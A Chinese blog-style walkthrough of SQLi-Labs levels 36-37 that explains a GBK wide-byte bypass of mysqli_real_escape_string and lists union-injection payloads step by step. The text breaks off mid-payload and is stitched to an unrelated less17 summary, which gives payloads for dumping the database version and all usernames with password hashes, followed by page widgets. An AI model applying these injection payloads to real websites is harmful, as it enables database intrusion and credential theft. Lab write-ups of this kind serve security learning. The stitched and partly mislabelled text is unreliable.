SQL-Labs靶场“36-37”关通关教程


SQL-Labs靶场通关教程:

SQL注入第一课

SQL无列名注入

SQL报错注入原理

简单的SQL练习,联合注入、报错注入

POST提交方式注入

HTTP头部注入

二次注入

一些绕过案例

HTTP参数污染攻击

一、36关 GET单引号宽字节注入

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id=‘$id’

首先我们进行测试(使用?id=1\,查看过滤后的回显)
在这里插入图片描述这里可以看到对我们的注释符进行了注释以及单双引号进行测试会发现都是如此:
在这里插入图片描述
在这里插入图片描述
所以这里我们判断使用了过滤函数进行了过滤,所以我们首先查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
function check_quotes($con1, $string)
{
   
   $string=mysqli_real_escape_string($con1, $string);    
    return $string;
}
// take the variables 
if(isset($_GET['id']))
{
   
   
$id=check_quotes($con1, $_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
   
   
  	echo 'Your Login name:'. $row['username'];
  	echo 'Your Password:' .$row['password'];
  	}
	else 
	{
   
   
	print_r(mysqli_error($con1));
	}
}
	else {
   
    echo "Please input the ID as parameter with numeric value";}
?>

源码大致与前几关相同,都是先过滤,后查询,查询成功输出查询到的信息,如果没有查询成功,那么输出报错信息。我们主要看下这个过滤函数,从而计划如何进行绕过:

function check_quotes($con1, $string)
{
   
   $string=mysqli_real_escape_string($con1, $string);    
    return $string;
}

可以看到里面主要使用了mysqli_real_escape_string函数,在官网进行查看:
在这里插入图片描述
可以看到官网说明对SQL语句特殊字符进行转义:

危险字符 转义后
\ \\
' \'
" \"

我们可以看到其实和前几关差不多,尤其32关,就过滤函数不一样,剩下的都一样。

2、联合查询注入

上面我们消除了转义符号的威胁,下面我们即可轻松的搭配别的注入方式完成注入,之前通过源码分析,由于查询成功输出了查询到的信息,所以我们将使用联合查询的方式完成注入。

1、猜测字段

?id=1%df' order by 4--+

在这里插入图片描述

从上面我们可以看到并没有第四列,所以我们尝试使用3来进行测试:

?id=1%df' order by 3--+

在这里插入图片描述
可以看到这里显示了通过1查询到的信息,所以后面的内容为真,即为该表的列数为3列,下面我们测试使用联合查询进行注入:

2、测试使用联合查询注入观察回显

?id=-1%df' union select 1,2,3--+

在这里插入图片描述

这里我们可以看到回显的点在2与3字段,所以我们直接随便选一个更改payload完成注入即可:

3、爆出数据库中的表名

?id=-1%df' union select  1,group_concat(table_name)
### SQL注入实验环境 sqli-labs 靶场解题思路 #### less17: Union 注入基础 Union查询是一种常见的SQL注入手法,通过`UNION SELECT`语句可以将额外的数据集附加到原始查询的结果集中。为了成功执行这种攻击,两个查询返回的列数必须相同,并且数据类型的兼容性也要匹配。 对于less17来说,目标是在存在漏洞的应用程序参数中构造有效的payload来获取敏感信息。例如,在给定条件下可以通过如下方式尝试读取当前使用的数据库名称: ```sql ?id=-1' UNION SELECT 1,database() -- ``` 上述命令利用了闭合单引号后的逻辑错误并追加了一个新的SELECT子句[^1]。 #### 获取MySQL版本与数据库名 进一步探索时,除了了解正在操作哪个具体的数据库外,知道服务器上运行的是哪一个版本也是非常有用的。这有助于判断可能存在的特定弱点或特性。下面是一个用于同时检索这两个值的例子: ```sql ?id=-1' UNION SELECT 1,CONCAT(version(),'|',database()) -- ``` 此表达式会连接MySQL版本字符串和活动库的名字作为第二列的内容输出[^2]。 #### 枚举用户名密码哈希值 一旦掌握了足够的背景知识之后就可以转向更深入的信息挖掘工作——比如从用户表里提取账户凭证。这里展示了一种方法用来列举所有用户的登录凭据(假设字段名为username,password),并且用特殊字符分隔开它们以便于解析: ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,'~',password) FROM users -- ``` 这段代码将会把所有的用户名及其对应的散列形式的口令组合成单一字符串返回给调用者[^4]。 请注意,以上内容仅限学习研究目的使用;实际环境中未经授权擅自访问他人计算机信息系统属于违法行为!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值